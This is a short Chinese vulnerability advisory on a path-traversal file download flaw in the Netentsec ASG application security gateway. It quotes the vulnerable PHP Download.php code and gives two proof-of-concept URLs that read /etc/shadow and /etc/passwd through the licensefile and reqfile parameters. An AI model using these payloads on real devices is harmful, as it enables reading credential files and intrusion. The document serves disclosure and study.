### 0x01漏洞简介
Netentsec ASG网康应用安全网关在/commonplugin/Download.php存在任意文件下载漏洞。远程攻击者可以利用参数licensefile 或者 reqfile 结合..下载任意文件。如果下载文件是SvrLicense.license表示该漏洞已经修复,如果下载文件为自己包含的文件,说明该漏洞仍然存在。
### 0x02漏洞分析
查看问题代码如下:
```
ob_start("");
header("Expires: Sat, 01 Jan 2000 00:00:00 GMT");
header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT");
header("Pragma: public");
header("Expires: 0");
header("Cache-Control: must-revalidate, post-check=0, pre-check=0");
header("Cache-Control: public");
header("Content-Description: File Transfer");
session_cache_limiter("must-revalidate");
include("include/common.inc");
// include("include/sslcommon.inc");
// $filename = basename($reqfile, '.req');
if($reqfile)
{
$filename = $reqfile;
$file = fopen($reqfile,"rb");
if ($file == FALSE)
{
db_close($dbh);
echo "<script>";
echo "alert('文件找不到');";
echo "</script>";
exit();
}
}
else if($certfile)
{
$filename = $certfile;
$file = fopen($certfile,"rb");
if ($file == FALSE)
{
db_close($dbh);
echo "<script>";
echo "alert('文件找不到');";
echo "</script>";
exit();
}
}
else if($licensefile)
{
$licensepath = "/Isc/".$licensefile; //漏洞触发点....网康的研发是不是有点操蛋? 学学绿盟ok?
$filename = $licensefile;
$file = fopen($licensepath,"rb");
if ($file == FALSE)
{
db_close($dbh);
echo "<script>";
echo "alert('文件找不到');";
echo "</script>";
exit();
}
}
Header("Content-type: application/octet-stream\n");
Header("Content-Disposition: attachment; filename=".$filename);
fpassthru($file);
flush();
fclose($file);
ob_end_flush();
```
在上面的代码中,有这么一句:
```
$licensepath = "/Isc/".$licensefile;
```
没有进行任何过滤,直接利用参数$licensefile拼接成了$licensepath,导致了漏洞的发生。
### 0x03漏洞利用
利用的POC如下所示:
```
https://***/commonplugin/Download.php?licensefile=../../../../../../../../../../etc/shadow
https://***/commonplugin/Download.php?reqfile=../../../../../etc/passwd
```
![](https://images.seebug.org/contribute/22152beb-bc57-4581-92c9-596941547262-1.jpg)
###0x04修复方案
过滤。
暂无评论